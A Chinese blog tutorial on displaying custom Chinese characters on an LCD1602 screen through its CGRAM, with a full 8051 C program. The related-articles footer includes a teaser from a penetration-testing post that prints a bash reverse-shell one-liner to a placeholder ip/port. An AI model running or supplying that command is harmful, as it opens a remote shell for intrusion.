小子在西藏 2011-11-25编写

特别说明笔者是上面的作者,感谢那些原意分享知识的人。时隔5年我又看到了笔者当年写的东西,我想这期间还有许许多多的人

今天写在博客上,愿更多后来者可以学习。

LCD1602显示中文汉字


LCD1602相比大家都比较了解,但是我们一般只用来显示字符,数字。

最近在网上看许多人用LCD1602来显示汉字,觉得有趣

于是拜读了一些资料,教程,但感觉大部分相当晦涩难懂,本人认为既然是教程,就不必要相当的复杂,毕竟人家看完许久后还是不能得出实验结果~!!

接下我谈谈我得做法,保证你10分钟之内一样可以在LCD1602上显示你想显示的各种符号,汉字!!!

首先:我们要弄清楚一个概念,其实我们使用1602显示中文汉字,就是利用其内部的自定义字节空间,我们都知道LCD1602内部有一个64字节的自定义CGRAM,那么好,我们就是要利用自定义字节来达到显示汉字的效果.

我们知道一个字符占8个字节,所以在CGRAM能够存放8个字符。

也就是说,这个64字节的CGRAM是给我们提供写入数据的,

那么我们怎么把我们要的汉字写入CGRAM呢?

不要急,大家查看LCD1602的用户手册,里面提到当我们需要想CGRAM写入数据时,我们需要先写入CGRAM的地址,从手册上可知,CGRAM的地址为0x40.所以当我们要写入数据时,要先写入一条地址命令 write_com(0x040);

然后把你要写入的数据通过写数据命令写入  write_date( 你要写得数据);

做完以上步骤了,是不是LCD1602就会显示你输入的汉字呢?

不要急,以上你只是把你要显示汉字的代码存放在CGRAM里,就相当于其他常用字符一样固定在LCD里面了,如果你不把它读出来,LCD是不会显示的。。

当你把上面的步骤做完后,接下来要做的与你平常怎么使用LCD1602是一样的,只不过是LCD1602里面增加了一些你自定义的字符,汉字。

可能到这里,也许会有些疑问,既然自定义字符、汉字的代码需要我们自己输入,那么我该怎么编写这些代码,呵呵,不要着急,接下来就要用到下面这个取字模软件。。

相信有的朋友应该都用过这个软件。那么我们怎么来使用这个软件来获取代码呢?大家有没有注意到,我们的LCD1602是5*8点阵(可以数一数)。但是5*8不能提取代码,最少只能8*8,所以我们这里只用后前5列,前3列不用。。

新建图像 8*8.然后再图像里面点你要显示的字符,汉字,注意是在后5列中点,黑点表示显示,白点不显示,用鼠标左键可以切换,下面是我点得一个坦克~~

点好后,就可以产生代码了,这软件里面可以选择C51或汇编,这里选择C51。

下面的8个代码就是要产生这个字符的数据。。也就是要输入到自定义字符CGRAM里面的

好的,怎么把获取汉字代码,怎么把代码输入到CGRAM里面都知道了,

下面就是要把我们的自定义汉字、字符显示在LCD1602屏幕上了。。

我们知道常用字符是从0x20开始显示,而0x00—0x0f都是没有用的,其实这个正式为我们自定义显示字符准备的。当你把上面的代码输入到CGRAM中,LCD1602机会把汉字或字符赋予地址,这个地址是从0x00开始,因为最多只能8个字符,所以当在CGRAM里面输入8个字符代码时,这8个字符的代码的数据地址就是0x00开始到0x07。

所以当你要在LCD1602上显示自定义字符时,只需要把这个地址用数据输入就OK。

Write_date(0x00—0x07);

也就是说现在你要显示自定义字符和你显示常用字符一样的做法了,先写地址,然后写数据

自定义字符的数据就是0x00—0x07。也就是你自定义的8个字符。

这里用 Proteus 仿真软件演示

附程序

编写时间:2011-11-25

功能:LCD显示自定义字符、汉字

#include"reg52.h"

#define uchar unsigned char

#define uint unsigned int

sbit lcdrs=P2^4;

sbit lcdrw=P2^5;

sbit lcden=P2^6;

uchar code table[]={

0x00,0x00,0x00,0x1F,0x00,0x00,0x00,0x00,//一

0x00,0x00,0x0E,0x00,0x1F,0x00,0x00,0x00,//二

0x00,0x1F,0x00,0x0E,0x00,0x1F,0x00,0x00,//三

0x02,0x04,0x0F,0x12,0x0F,0x0A,0x1F,0x02,//年

0x0F,0x09,0x0F,0x09,0x0F,0x09,0x09,0x11,//月

0x1F,0x11,0x11,0x1F,0x11,0x11,0x1F,0x00,//日

0x00,0x00,0x00,0x0A,0x15,0x0A,0x04,0x00,//心型

0x00,0x04,0x15,0x0E,0x1F,0x0E,0x11,0x00//坦克

};

uchar code table1[]={0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07};  //自定义字符数据地址

uchar code table2[]="QQ:598852247";

/******************************

ms延时函数

******************************/

void delay(uchar z)

{

uint x,y;

for(x=z;x>0;x--)

for(y=122;y>0;y--);

}

/******************************

lcd1602写命令函数

******************************/

void write_cmd(uchar cmd)

{

lcdrs=0;

lcdrw=0;    //选择指令寄存器

lcden=1;

P0=cmd;     //写了命令

delay(5);

lcden=0;    //使能拉低

lcden=1;

}

/******************************

lcd1602写数据函数

******************************/

void write_date(uchar date)

{

lcdrs=1;

lcdrw=0;    //选择数据寄存器

lcden=1;

P0=date;     //写了命令

delay(5);

lcden=0;    //使能拉低

lcden=1;

}

/******************************

lcd1602初始化

******************************/

void init_lcd1602()

{

write_cmd(0x01);  //清屏

write_cmd(0x38);  //功能设置

write_cmd(0x0c);  //显示设置

write_cmd(0x06);  //输入方式从左到右

delay(1);

}

/******************************

主函数

******************************/

void main()

{

uchar i;

init_lcd1602();

delay(1);

while(1)

{

write_cmd(0x40);    //开始写入你要显示的自定义字符、汉字代码

for(i=0;i<64;i++)

{

write_date(table[i]);

delay(5);

}

write_cmd(0x80);    //从第一行第一列开始显示

for(i=0;i<8;i++)     //显示自定义字符

{

write_date(table1[i]);

delay(5);

}

write_cmd(0xc0);   //显示QQ:598852247

for(i=0;i<12;i++)

{

write_date(table2[i]);

delay(5);

}

}

}


LCD1602显示中文汉字的更多相关文章

  1. 如何让移植的嵌入式ARM显示中文汉字

    如果你急于在ARM开发板上看到Qt显示中文,而不介意稍次的效果,可以在运行Qt程序时,增加设置字体的参数,比如运行名为hello的Qt程序:./hello -fn unifont 1.首先,需要文泉驿 ...

  2. EditText限制输入的几种方式及只显示中文汉字的做法

    最近项目要求限制密码输入的字符类型, 例如不能输入中文.   现在总结一下EditText的各种实现方式,  以比较各种方法的优劣. 第一种方式:  设置EditText的inputType属性,可以 ...

  3. 使用freetype来显示中文汉字和英文字符

    这里我们用到了freetype.进入官网http://savannah.nongnu.org/download/freetype/ 中下载最新的版本2.7的源代码和文件.freetype-2.7.ta ...

  4. 谷歌浏览器不能正常显示中文,chrome显示汉字问题

    用了几年的 chrome但是最近每次升级完flash就出现页面不能正常显示中文的现象. 在一个论坛上发现了处理办法如下: 1. 在谷歌浏览器的地址栏输入 chrome://flags/ 2. 在设置里 ...

  5. Oracle一个中文汉字占用几个字节

    Oracle 一个中文汉字 占用几个字节,要根据Oracle中字符集编码决定   查看oracle server端字符集 select userenv('language') from dual; 如 ...

  6. Codecs是以plugin的形式被调用的(显示中文的codec plugin文件是qcncodecs4.dll),可静态载入和动态载入

    作为非英语国家人员开发的类库,QT有充分的理由优先考虑支持Unicode和各国自定义字库编码.大家也知道了QT对软件Internationalization有一套完整的开发模型,包括专门为此写的lin ...

  7. OSG和osgearth显示中文(转载)

    osgEarth支持中文过程详解 OSG和osgearth显示中文 一.知识储备   要想很好的理解和解决这个问题,首先要了解什么是多字节和宽字节.说实话我之前也知道这两个字节到底有什么区别,只是简单 ...

  8. MicroPython之TPYBoard v102开发板控制OLED显示中文

    转载请以链接形式注明文章来源,公众号:MicroPython玩家汇 0x00前言 之前看到一篇文章是关于TPYBoardv102控制OLED屏显示的,看到之后就想尝试一下使用OLED屏来显示中文.最近 ...

  9. MicroPython实例之TPYBoard开发板控制OLED显示中文

    0x00 前言 之前看到一篇文章是关于TPYBoard v102控制OLED屏显示的,看到之后就想尝试一下使用OLED屏来显示中文.最近利用空余时间搞定了这个实验,特此将实验过程及源码分享出来,方便以 ...

随机推荐

  1. APIO2018爆零记

    Day1 集合 7点和yyc他们在学校简单的集合了一下 在大通道看到了整个年级来上操 嘲讽了一番就大摇大摆的走出了校门 校门口看无迟到周的权益部长lzj同学满眼的羡慕 2333 然后到了裕龙酒店登记入 ...

  2. HihoCoder1670 : 比赛日程安排([Offer收割]编程练习赛41)(模拟)

    描述 H国编程联赛中有N只队伍,编号1~N. 他们计划在2018年一共进行M场一(队)对一(队)的比赛. 为了让参赛队员能得到充分的休息,联赛组委会决定:每支队伍连续两场比赛之间至少间隔一天.也就是如 ...

  3. Oracle数据库导入、导出(远程、10g、11g)

    1  查看oracle的版本信息 (1)用客户端连接到数据库,执行select * from v$instance             查看version项 (2)select * from pr ...

  4. Oracle的case 用法

    1.测试表declare @stuinfo table(id int, sname nvarchar(20), ///小组名称 gender varchar(1), //小组性别 sgroup int ...

  5. ie下使用文本编辑器导致input文本框无法聚焦的问题原因

    最近公司的一个项目遇到一个如下问题: 描述:测试发现,每当我们在发布活动的页面发布完活动后,页面跳转到我的活动,然后再次回到发布活动页面,发现所有的input文本框都不能聚焦.然后再去看看其他页面(我 ...

  6. 五 python 发送邮件

    需求: 系统中使用一个邮箱(这里用QQ)给其他邮箱发消息,用python完成,步骤如下: 1: 开启QQ邮箱的SMTP服务.设置-> 账号 2: 开启邮箱服务:这个需要手机验证,最后会给你一个授 ...

  7. Excel解析easyexcel工具类

    Excel解析easyexcel工具类 easyexcel解决POI解析Excel出现OOM <!-- https://mvnrepository.com/artifact/com.alibab ...

  8. 功能测试工具Selenium IDE

    Selenium IDE:一个专门用于Firefox浏览器的插件,能够录制回放用户在Firefox中的行为,并把所记录的Selenese (Selenium Commands)转化为HTML/Java ...

  9. 面试题: 数据库操作面试 已看1 很典型的sql面试题

    摘要:今天参加了大展公司的一个电话面试,那位先生首先问我查询一个表的问题,条件是:1.一个数据表,有username字段.2.查询数据表中姓名姓张的.姓李的.姓刘的总数,并展现在一张表中.我当时就糊涂 ...

  10. 13. linux渗透之反弹shell

    实验环境 CentOS 6.5:192.168.0.3 kali2.0:192.168.0.4 方法1: 反弹shell命令如下: bash -i >& /dev/tcp/ip/port ...